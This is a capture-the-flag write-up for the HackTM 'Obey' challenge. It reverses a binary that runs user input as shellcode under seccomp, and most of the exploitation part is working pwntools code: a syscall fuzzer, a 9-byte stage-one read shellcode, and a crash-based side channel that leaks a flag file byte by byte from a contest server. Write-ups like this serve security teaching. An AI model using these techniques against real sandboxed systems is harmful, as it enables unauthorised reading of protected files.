The government has released a new set of rules. Do you choose to be among those who follow them blindly or among those who read them first?
Flag Path: /home/pwn/flag.txt
Author: FeDEX
Remote: nc 138.68.67.161 20001

Checking the given binary and its security flags
checksec

Reversing

Throwing the binary to IDA, we find only a couple of functions
functions

Jumping right into main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+10h] [rbp-80h]
  void *v5; // [rsp+18h] [rbp-78h]
  char s; // [rsp+20h] [rbp-70h]
  unsigned __int64 v7; // [rsp+88h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init_proc();
  memset(&s, 0, 0x64uLL);
  open_read_file("header.txt", 100, &s);
  puts(&s);
  open_read_file("description.txt", 800, &description);
  printf("\n    %s\n  ", &description);
  puts(" >> Do you Obey? (yes / no)");
  read(0, &answer, 11uLL);
  v4 = open_read_file("RULES.txt", 150, &rules) >> 3;
  v5 = &rules;
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) < 0 )
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(2);
  }
  if ( prctl(22, 2LL, &v4) < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
  }
  if ( !strcmp(&answer, "Y") )
    set_context();
  else
    system("/bin/sh");
  return 0;
}
  • It calls init_proc()
  • Reads header and description from files.
  • Asks if you will obey and takes 11 byte as an answer.
  • Loads seccomp rules from a file and apply them.
  • If answer is Y\x00 then it calls set_context() else it calls system("/bin/sh") which is obviously blocked by seccomp rules.

Now, for the init_proc()

void init_proc()
{
  int v0; // eax

  v0 = getpagesize();
  region = mmap((v0 << 20), v0, 7, 34, 0, 0LL);
  if ( region == -1LL )
  {
    perror("Could not mmap");
  }
  else
  {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setbuf(stderr, 0LL);
    signal(14, handler);
    alarm(0x1Eu);
  }
}

Aside from the normal stuff, it mmap a writable/executable address space and assigns it to the global variable region

Finally, the set_context()

__int64 set_context()
{
  *(&answer + strlen(&answer)) = 'Y';
  strcpy(region, &answer);
  return (region)(1337LL, &answer);
}
  • Replaces the null byte with another Y.
  • Copies our 11 byte answer to the executable region (assuming we have no null bytes).
  • Runs our input.

Analysis

Our take so far is that we can run shellcode of 9 bytes excluding the Y\x00 but we still have no idea what syscall are allowed on the remote server.
Approaching that, we wrote a simple script to fuzz allowed syscalls:

from pwn import *

context(arch='amd64', os='linux')
allowed = []
might_be = []
logging = log.progress('Fuzzing')
for i in range(0, 100):
    logging.status(str(i))
    try:
        r = remote('138.68.67.161', 20001, level='error')
        shellcode = asm('''
                        xor rax, rax
                        add al, {}
                        syscall
                        '''.format(i))
        shellcode = 'Y\0' + shellcode
        r.sendlineafter(')\n', shellcode)
        out = r.recvline()
        if 'Bad' not in out:
            allowed.append(i)
    except KeyboardInterrupt:
        break
    except:
        might_be.append(i)
        continue
    finally:
        r.close()

logging.success('Done.')
log.success('Allowed: ' + str(allowed))
log.success('Might be Allowed: ' + str(might_be))

The output looked like this
file

So only open, read and exit are allowed.
Given that there's no write and that we know the flag's location, our approach will be to read it into memory and leak it using a sidechannel attack.
Tough to achieve that controlling only 9 bytes so we started debugging to find out a way to get more space. Here's how the registers and stack looked like at the moment of running our shellcode:
gdb

Looking at this, why don't we read more input to the same region so we can run as much as we need to?
Thinking that, we crafted a shellcode of 9 bytes which will do a read(0, rip, largenumber) and here's how it looked like:

stage_1 = asm('''
                push rbx
                push rbx
                pop rdi
                pop rax
                pop rsi
                mov dh, 0xff
                syscall
                ''')

Exploitation

Now that we have got it all figured out, it's time for our sidechannel attack which will be a binary search based on the blocked syscalls response.

You'll notice in the final exploit that we open the file twice because for some reason opening the file once in our shellcode wasn't working (later on we tried leaking the RULES.TXT and figured and figured out that when fd=3 the buffer must be 0x602888 to be allowed)
Here's how the final exploit look like:

from pwn import *

context(arch='amd64', os='linux')

stage_1 = asm('''
                push rbx
                push rbx
                pop rdi
                pop rax
                pop rsi
                mov dh, 0xff
                syscall
                ''')

def search(idx, char):
    r = remote('138.68.67.161', 20001, level='error')
    r.recvuntil('no)\n')
    stage_2 = asm((
        shellcraft.open('/home/pwn/flag.txt') + 
        shellcraft.open('/home/pwn/flag.txt') + 
        shellcraft.read('rax', 'rsp', 0x48) +
        '''
        xor rcx, rcx
        mov al, [rsp + {idx}]
        cmp al, {char}
        jae found
        ''' +
        shellcraft.sh() + 
        '''
        found:
        ''' +
        shellcraft.exit(0)).format(idx=idx, char=char))
    r.sendline('Y\0' + stage_1 + '\x90' * 11 + stage_2)
    try:
        r.recvline()
        r.close()
        return False
    except EOFError:
        r.close()
        return True

flag = 'HackTM'
logging = log.progress('Flag')
while flag[-1] != '}':
    low, high = 0, 255
    while high - low > 1:
        middle = (high + low) / 2
        logging.status(flag + chr(middle))
        if search(len(flag), middle):
            low = middle
        else:
            high = middle
    flag += chr(low)

Running the exploit we get the flag
HackTM{kn0w_th3_rul3s_we11_s0_y0u_c4n_br34k_th3m_EFFECTIVELY}